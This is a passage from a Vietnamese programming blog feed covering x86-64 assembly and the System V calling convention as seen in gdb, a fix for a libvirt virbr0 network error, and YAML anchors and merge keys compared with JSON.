<span class="w"> </span><span class="err">0</span><span class="nf">x00000000000011a1</span><span class="w"> </span><span class="err"><+</span><span class="mi">18</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">call</span><span class="w"> </span><span class="mh">0x1030</span> <span class="p"><</span><span class="no">puts@plt</span><span class="p">></span><span class="w"></span>
</code></pre></div>
<p>Gồm 3 bước:</p>
<ul>
<li>tính vị tri của string "Hello world!" trong file binary. <code>lea</code> Load effective address tính địa chỉ rồi gán cho rax: <code>rax = rip + 0xe66</code>, ở đây tính địa chỉ, không đọc nội dung.</li>
<li>gán <code>rdi</code> cho giá trị này <code>rdi = rax</code></li>
<li><code>call</code> gọi function ở vị trí <code>0x1030</code>, tức function <code>puts</code> với 1 argument được chứa trong <code>rdi</code>. Và bắt buộc phải là <code>rdi</code>, lý do bởi "call convention".</li>
</ul>
<h4>Call convention</h4>
<p>Định nghĩa trong <a href="https://gitlab.com/x86-psABIs/x86-64-ABI/-/jobs/artifacts/master/raw/x86-64-ABI/abi.pdf?job=build">System V AMD64 ABI</a>, mục 3.2.3 Parameter passing:</p>
<blockquote>
<ol>
<li>If the class is INTEGER, the next available register of the sequence %rdi, %rsi, %rdx, %rcx, %r8 and %r9 is used</li>
</ol>
</blockquote>
<ul>
<li>Lần lượt, rsi, rdi, rdx, rcx, r8, r9 chứa các argument 1-6</li>
<li>argument thứ 7 trở đi được push vào stack. Đây là lý do các function C thường không dùng hơn 6 argument để tối ưu tốc độ, các register luôn nhanh hơn push vào stack.</li>
<li>thứ tự các câu lệnh gán argument thực hiện từ phải qua trái (từ 8 đến 1): push 8, push 7, r9d=6, r8d=5, ecx=4, edx=3, esi=2, edi=1. GCC đã thực hiện tối ưu, nó phát hiện giá trị đủ nhỏ để chứa trong 32bits nên dùng ecx chứ không dùng rcx.</li>
<li>gọi call 0x1139, 0x1139 là địa chỉ của function sum.</li>
</ul>
<div class="highlight"><pre><span></span><code><span class="err">10</span><span class="w"> </span><span class="nf">int</span><span class="w"> </span><span class="no">s</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="no">sum</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">8</span><span class="p">)</span><span class="c1">;</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00000000000011a6</span><span class="w"> </span><span class="err"><+</span><span class="mi">23</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">push</span><span class="w"> </span><span class="mi">0x8</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00000000000011a8</span><span class="w"> </span><span class="err"><+</span><span class="mi">25</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">push</span><span class="w"> </span><span class="mi">0x7</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00000000000011aa</span><span class="w"> </span><span class="err"><+</span><span class="mi">27</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">r9d</span><span class="p">,</span><span class="mi">0x6</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00000000000011b0</span><span class="w"> </span><span class="err"><+</span><span class="mi">33</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">r8d</span><span class="p">,</span><span class="mi">0x5</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00000000000011b6</span><span class="w"> </span><span class="err"><+</span><span class="mi">39</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">ecx</span><span class="p">,</span><span class="mi">0x4</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00000000000011bb</span><span class="w"> </span><span class="err"><+</span><span class="mi">44</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">edx</span><span class="p">,</span><span class="mi">0x3</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00000000000011c0</span><span class="w"> </span><span class="err"><+</span><span class="mi">49</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="mi">0x2</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00000000000011c5</span><span class="w"> </span><span class="err"><+</span><span class="mi">54</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">edi</span><span class="p">,</span><span class="mi">0x1</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00000000000011ca</span><span class="w"> </span><span class="err"><+</span><span class="mi">59</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">call</span><span class="w"> </span><span class="mh">0x1139</span> <span class="p"><</span><span class="no">sum</span><span class="p">></span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00000000000011cf</span><span class="w"> </span><span class="err"><+</span><span class="mi">64</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">rsp</span><span class="p">,</span><span class="mi">0x10</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00000000000011d3</span><span class="w"> </span><span class="err"><+</span><span class="mi">68</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x4</span><span class="p">],</span><span class="no">eax</span><span class="w"></span>
</code></pre></div>
<ul>
<li>kết quả của function sum tự được chứa trong register eax. <code>mov</code> gán giá trị return của sum vào địa chỉ rbp-0x4.</li>
</ul>
<div class="highlight"><pre><span></span><code><span class="err">11</span><span class="w"> </span><span class="nf">return</span><span class="w"> </span><span class="no">s</span><span class="p">*</span><span class="mi">2</span><span class="c1">;</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00000000000011d6</span><span class="w"> </span><span class="err"><+</span><span class="mi">71</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x4</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x00000000000011d9</span><span class="w"> </span><span class="err"><+</span><span class="mi">74</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">eax</span><span class="w"></span>
</code></pre></div>
<p>giá trị được gán vào eax rồi thực hiện <code>*2</code> bằng cách cộng eax với eax qua <code>add eax,eax</code>. Kết quả của phép tính này tự được chứa trong eax, là giá trị main trả về. Chú ý, ở đây do GCC thực hiện tối ưu, nên thay phép nhân bằng phép cộng 2 số.</p>
<h4>Các kiểu dữ liệu trong assembly - data type</h4>
<p>Chapter 4.1 vol 1 Intel SDM viết:</p>
<blockquote>
<p>A byte is eight bits, a word is 2 bytes (16 bits), a doubleword is 4 bytes (32 bits), a quadword is 8 bytes (64 bits), and a double quadword is 16 bytes (128 bits).</p>
</blockquote>
<p>doubleword trong asm được ký hiệu là DWORD, quadword ký hiệu là QWORD.</p>
<h3>Đọc assembly function sum</h3>
<div class="highlight"><pre><span></span><code><span class="err">(</span><span class="nf">gdb</span><span class="p">)</span><span class="w"> </span><span class="no">disas</span><span class="w"> </span><span class="err">/</span><span class="no">s</span><span class="w"> </span><span class="no">sum</span><span class="w"></span>
<span class="nf">Dump</span><span class="w"> </span><span class="no">of</span><span class="w"> </span><span class="no">assembler</span><span class="w"> </span><span class="no">code</span><span class="w"> </span><span class="no">for</span><span class="w"> </span><span class="no">function</span><span class="w"> </span><span class="no">sum</span><span class="p">:</span><span class="w"></span>
<span class="nl">hello.c:</span><span class="w"></span>
<span class="err">3</span><span class="w"> </span><span class="nf">int</span><span class="w"> </span><span class="no">sum</span><span class="p">(</span><span class="no">int</span><span class="w"> </span><span class="no">a</span><span class="p">,</span><span class="w"> </span><span class="no">int</span><span class="w"> </span><span class="no">b</span><span class="p">,</span><span class="w"> </span><span class="no">int</span><span class="w"> </span><span class="no">c</span><span class="p">,</span><span class="w"> </span><span class="no">int</span><span class="w"> </span><span class="no">d</span><span class="p">,</span><span class="w"> </span><span class="no">int</span><span class="w"> </span><span class="no">e</span><span class="p">,</span><span class="w"> </span><span class="no">int</span><span class="w"> </span><span class="no">f</span><span class="p">,</span><span class="w"> </span><span class="no">int</span><span class="w"> </span><span class="no">g</span><span class="p">,</span><span class="w"> </span><span class="no">int</span><span class="w"> </span><span class="no">h</span><span class="p">)</span><span class="w"> </span><span class="err">{</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001139</span><span class="w"> </span><span class="err"><+</span><span class="mi">0</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">push</span><span class="w"> </span><span class="no">rbp</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x000000000000113a</span><span class="w"> </span><span class="err"><+</span><span class="mi">1</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rbp</span><span class="p">,</span><span class="no">rsp</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x000000000000113d</span><span class="w"> </span><span class="err"><+</span><span class="mi">4</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x14</span><span class="p">],</span><span class="no">edi</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001140</span><span class="w"> </span><span class="err"><+</span><span class="mi">7</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x18</span><span class="p">],</span><span class="no">esi</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001143</span><span class="w"> </span><span class="err"><+</span><span class="mi">10</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x1c</span><span class="p">],</span><span class="no">edx</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001146</span><span class="w"> </span><span class="err"><+</span><span class="mi">13</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x20</span><span class="p">],</span><span class="no">ecx</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001149</span><span class="w"> </span><span class="err"><+</span><span class="mi">16</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x24</span><span class="p">],</span><span class="no">r8d</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x000000000000114d</span><span class="w"> </span><span class="err"><+</span><span class="mi">20</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x28</span><span class="p">],</span><span class="no">r9d</span><span class="w"></span>
</code></pre></div>
<p>gán lần lượt trái qua phải (1-6) các register cho các địa chỉ dưới (nhỏ hơn) rbp. Chú ý chỉ là 6, 2 phần tử 7 8 trong stack chưa được xử lý.</p>
<div class="highlight"><pre><span></span><code><span class="err">4</span><span class="w"> </span><span class="nf">int</span><span class="w"> </span><span class="no">s</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="no">a</span><span class="w"> </span><span class="err">+</span><span class="w"> </span><span class="no">b</span><span class="w"> </span><span class="err">+</span><span class="w"> </span><span class="no">c</span><span class="w"> </span><span class="err">+</span><span class="w"> </span><span class="no">d</span><span class="w"> </span><span class="err">+</span><span class="w"> </span><span class="no">e</span><span class="w"> </span><span class="err">+</span><span class="w"> </span><span class="no">f</span><span class="w"> </span><span class="err">+</span><span class="w"> </span><span class="no">g</span><span class="w"> </span><span class="err">+</span><span class="w"> </span><span class="no">h</span><span class="c1">;</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001151</span><span class="w"> </span><span class="err"><+</span><span class="mi">24</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">edx</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x14</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001154</span><span class="w"> </span><span class="err"><+</span><span class="mi">27</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x18</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001157</span><span class="w"> </span><span class="err"><+</span><span class="mi">30</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">edx</span><span class="p">,</span><span class="no">eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001159</span><span class="w"> </span><span class="err"><+</span><span class="mi">32</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x1c</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x000000000000115c</span><span class="w"> </span><span class="err"><+</span><span class="mi">35</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">edx</span><span class="p">,</span><span class="no">eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x000000000000115e</span><span class="w"> </span><span class="err"><+</span><span class="mi">37</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x20</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001161</span><span class="w"> </span><span class="err"><+</span><span class="mi">40</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">edx</span><span class="p">,</span><span class="no">eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001163</span><span class="w"> </span><span class="err"><+</span><span class="mi">42</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x24</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001166</span><span class="w"> </span><span class="err"><+</span><span class="mi">45</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">edx</span><span class="p">,</span><span class="no">eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001168</span><span class="w"> </span><span class="err"><+</span><span class="mi">47</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x28</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x000000000000116b</span><span class="w"> </span><span class="err"><+</span><span class="mi">50</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">edx</span><span class="p">,</span><span class="no">eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x000000000000116d</span><span class="w"> </span><span class="err"><+</span><span class="mi">52</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp</span><span class="err">+</span><span class="mi">0x10</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001170</span><span class="w"> </span><span class="err"><+</span><span class="mi">55</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">edx</span><span class="p">,</span><span class="no">eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001172</span><span class="w"> </span><span class="err"><+</span><span class="mi">57</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp</span><span class="err">+</span><span class="mi">0x18</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001175</span><span class="w"> </span><span class="err"><+</span><span class="mi">60</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">add</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">edx</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001177</span><span class="w"> </span><span class="err"><+</span><span class="mi">62</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x4</span><span class="p">],</span><span class="no">eax</span><span class="w"></span>
<span class="err">5</span><span class="w"> </span><span class="nf">return</span><span class="w"> </span><span class="no">s</span><span class="c1">;</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x000000000000117a</span><span class="w"> </span><span class="err"><+</span><span class="mi">65</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x4</span><span class="p">]</span><span class="w"></span>
<span class="err">6</span><span class="w"> </span><span class="err">}</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x000000000000117d</span><span class="w"> </span><span class="err"><+</span><span class="mi">68</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">pop</span><span class="w"> </span><span class="no">rbp</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x000000000000117e</span><span class="w"> </span><span class="err"><+</span><span class="mi">69</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">ret</span><span class="w"></span>
</code></pre></div>
<p>Thực hiện cộng rồi trả về kết quả. Truy cập argument 7 8 qua địa chỉ trên (lớn hơn) rbp: rbp+0x10 và rbp+0x18.</p>
<p>Thực hiện trên</p>
<div class="highlight"><pre><span></span><code>$ gcc --version
gcc <span class="o">(</span>GCC<span class="o">)</span> <span class="m">13</span>.1.1 <span class="m">20230429</span>
Copyright <span class="o">(</span>C<span class="o">)</span> <span class="m">2023</span> Free Software Foundation, Inc.
This is free software<span class="p">;</span> see the <span class="nb">source</span> <span class="k">for</span> copying conditions. There is NO
warranty<span class="p">;</span> not even <span class="k">for</span> MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
$ gdb --version
GNU gdb <span class="o">(</span>GDB<span class="o">)</span> <span class="m">13</span>.1
Copyright <span class="o">(</span>C<span class="o">)</span> <span class="m">2023</span> Free Software Foundation, Inc.
License GPLv3+: GNU GPL version <span class="m">3</span> or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ uname -a
Linux zb <span class="m">6</span>.1.38-1-MANJARO <span class="c1">#1 SMP PREEMPT_DYNAMIC Wed Jul 5 23:49:30 UTC 2023 x86_64 GNU/Linux</span>
</code></pre></div>
<h2>Tham khảo</h2>
<ul>
<li><a href="https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html">Intel SDM</a></li>
<li><a href="https://gitlab.com/x86-psABIs/x86-64-ABI/-/jobs/artifacts/master/raw/x86-64-ABI/abi.pdf?job=build">System V AMD64 ABI</a></li>
<li><a href="https://www.timdbg.com/posts/fakers-guide-to-assembly/">https://www.timdbg.com/posts/fakers-guide-to-assembly/</a></li>
</ul>
<h2>Kết luận</h2>
<p>Assembly đơn giản, dễ đọc, khó viết.</p>
<p>Phần sau sẽ chạy qua từng dòng code với gdb để xem khi chạy các giá trị được lưu trữ và tính toán thế nào.</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>virt-manager error: Failed to start network default error: Unable to create bridge virbr0: Package not installed2023-07-24T00:00:00+07:002023-07-24T00:00:00+07:00hvntag:familug.github.io,2023-07-24:/virt-manager-error-failed-to-start-network-default-error-unable-to-create-bridge-virbr0-package-not-installed.html<div class="highlight"><pre><span></span><code>$ sudo virsh net-start default
error: Failed to start network default error: Unable to create bridge virbr0: Package not installed
</code></pre></div>
<p>Or turn on the VM using virt-manager:</p>
<div class="highlight"><pre><span></span><code>Error starting domain: Requested operation is not valid: network 'default' is not active
</code></pre></div>
<h3>Solution</h3>
<p>Enable libvirtd to start with the system.</p>
<div class="highlight"><pre><span></span><code>systemctl enable libvirtd …</code></pre></div><div class="highlight"><pre><span></span><code>$ sudo virsh net-start default
error: Failed to start network default error: Unable to create bridge virbr0: Package not installed
</code></pre></div>
<p>Or turn on the VM using virt-manager:</p>
<div class="highlight"><pre><span></span><code>Error starting domain: Requested operation is not valid: network 'default' is not active
</code></pre></div>
<h3>Solution</h3>
<p>Enable libvirtd to start with the system.</p>
<div class="highlight"><pre><span></span><code>systemctl enable libvirtd
reboot
</code></pre></div>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>YAML không phải JSON2023-07-17T00:00:00+07:002023-07-17T00:00:00+07:00hvntag:familug.github.io,2023-07-17:/yaml-khong-phai-json.html<h3>YAML dễ dùng để viết file cấu hình</h3>
<p>YAML là định dạng file phổ biến <code>.yaml</code> hay <code>.yml</code>, thường dùng để viết file cấu hình cho phần mềm như Kubernetes, Ansible, SaltStack, Elasticsearch, ...
Phổ biến tới mức ngày nay có hẳn nghề: <a href="https://www.google.com/search?hl=en&q=yaml%20engineer">"YAML engineer"</a>.</p>
<p>YAML được ưa chuộng để viết …</p><h3>YAML dễ dùng để viết file cấu hình</h3>
<p>YAML là định dạng file phổ biến <code>.yaml</code> hay <code>.yml</code>, thường dùng để viết file cấu hình cho phần mềm như Kubernetes, Ansible, SaltStack, Elasticsearch, ...
Phổ biến tới mức ngày nay có hẳn nghề: <a href="https://www.google.com/search?hl=en&q=yaml%20engineer">"YAML engineer"</a>.</p>
<p>YAML được ưa chuộng để viết file cấu hình thay vì dùng JSON do các nhược điểm của JSON:</p>
<ul>
<li>Khó sửa: thiếu/thừa dấu <code>,</code> hay nhầm dấu <code>"</code> với <code>'</code> là hỏng ngay</li>
<li>Không hỗ trợ comment #ahuhu</li>
</ul>
<p>Cú pháp YAML cơ bản khá dễ dàng tương đương với JSON, tên gọi khác nhau do JSON (JavaScript Object Notation) dùng tên của JavaScript:</p>
<p><strong>object</strong> này chứa <strong>name</strong> <code>tags</code> với <strong>value</strong> là 1 <strong>array</strong></p>
<div class="highlight"><pre><span></span><code><span class="p">{</span><span class="nt">"my name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"FAMILUG"</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="nt">"age"</span><span class="p">:</span><span class="w"> </span><span class="mi">13</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="nt">"tags"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"Python"</span><span class="p">,</span><span class="w"> </span><span class="s2">"Linux"</span><span class="p">]}</span><span class="w"></span>
</code></pre></div>
<p><strong>mapping</strong> này chứa <strong>key</strong> <code>tags</code> với <strong>value</strong> là 1 <strong>sequence</strong></p>
<div class="highlight"><pre><span></span><code><span class="nt">my name</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">FAMILUG</span><span class="w"></span>
<span class="nt">age</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">13</span><span class="w"></span>
<span class="nt">tags</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">Python</span><span class="w"></span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">Linux</span><span class="w"></span>
</code></pre></div>
<p>Dừng lại ở đó, đủ dùng 10 năm.</p>
<h3>YAML có nhiều tính năng</h3>
<p>JSON chỉ dùng để biểu diễn dữ liệu, viết 1 là 1, viết 2 là 2, YAML có nhiều tính năng bất ngờ... như merge 2 mappings.</p>
<h4>YAML anchor và YAML alias</h4>
<p>Hai từ tiếng Anh này khá dễ đọc sai, phiên âm:</p>
<ul>
<li>anchor <code>/ˈæŋ.kɚ/</code></li>
<li>alias <code>/ˈeɪ.li.əs/</code></li>
</ul>
<p><a href="http://yaml.org/spec/1.2.0/#id2565016">http://yaml.org/spec/1.2.0/#id2565016</a></p>
<p>Anchor <code>&NAME</code> để ký hiệu vị trí của 1 giá trị, <code>*NAME</code> để chỉ tới (refer) nội dung của anchor. Khái niệm này tương tự con trỏ (pointer) trong các ngôn ngữ như C, C++, Go, Rust,...</p>
<p><code>NAME</code> có thể là bất kỳ kí tự gì ngoài <code>[]{},</code>:</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">ruamel.yaml</span> <span class="kn">import</span> <span class="n">YAML</span>
<span class="n">yaml</span> <span class="o">=</span> <span class="n">YAML</span><span class="p">(</span><span class="n">typ</span><span class="o">=</span><span class="s1">'safe'</span><span class="p">)</span>
<span class="n">yaml</span><span class="o">.</span><span class="n">load</span><span class="p">(</span>
<span class="sd">"""first name: &F-n python</span>
<span class="sd"> second: *F-n"""</span>
<span class="p">)</span>
<span class="c1"># {'first name': 'python', 'second': 'python'}</span>
</code></pre></div>
<p>Ví dụ này dùng tên <code>F-n</code> làm anchor name.</p>
<h4>YAML merge</h4>
<p><a href="https://yaml.org/type/merge.html">YAML Merge</a> <code><<</code> là một tính năng optional của bản 1.1, có thư viện có thể hỗ trợ, có thư viện thì không.</p>
<blockquote>
<p>Specify one or more mappings to be merged with the current one.</p>
</blockquote>
<div class="highlight"><pre><span></span><code><span class="l l-Scalar l-Scalar-Plain">yaml.load("""</span><span class="w"></span>
<span class="l l-Scalar l-Scalar-Plain">d1</span><span class="p p-Indicator">:</span><span class="w"> </span><span class="nl">&head</span><span class="w"></span>
<span class="w"> </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">FAMILUG</span><span class="w"></span>
<span class="w"> </span><span class="nt">age</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">18</span><span class="w"></span>
<span class="nt">d2</span><span class="p">:</span><span class="w"> </span><span class="nl">&body</span><span class="w"></span>
<span class="w"> </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">PyMi</span><span class="w"></span>
<span class="w"> </span><span class="nt">color</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">WhitePink</span><span class="w"></span>
<span class="nt">d3</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="nt"><<</span><span class="p">:</span><span class="w"> </span><span class="p p-Indicator">[</span><span class="nv">*head</span><span class="p p-Indicator">,</span><span class="w"> </span><span class="nv">*body</span><span class="p p-Indicator">]</span><span class="w"></span>
<span class="w"> </span><span class="s">"""</span><span class="w"></span>
<span class="s">)</span><span class="w"></span>
</code></pre></div>
<p>Kết quả</p>
<div class="highlight"><pre><span></span><code><span class="p">{</span><span class="s1">'d1'</span><span class="p">:</span> <span class="p">{</span><span class="s1">'name'</span><span class="p">:</span> <span class="s1">'FAMILUG'</span><span class="p">,</span> <span class="s1">'age'</span><span class="p">:</span> <span class="mi">18</span><span class="p">},</span>
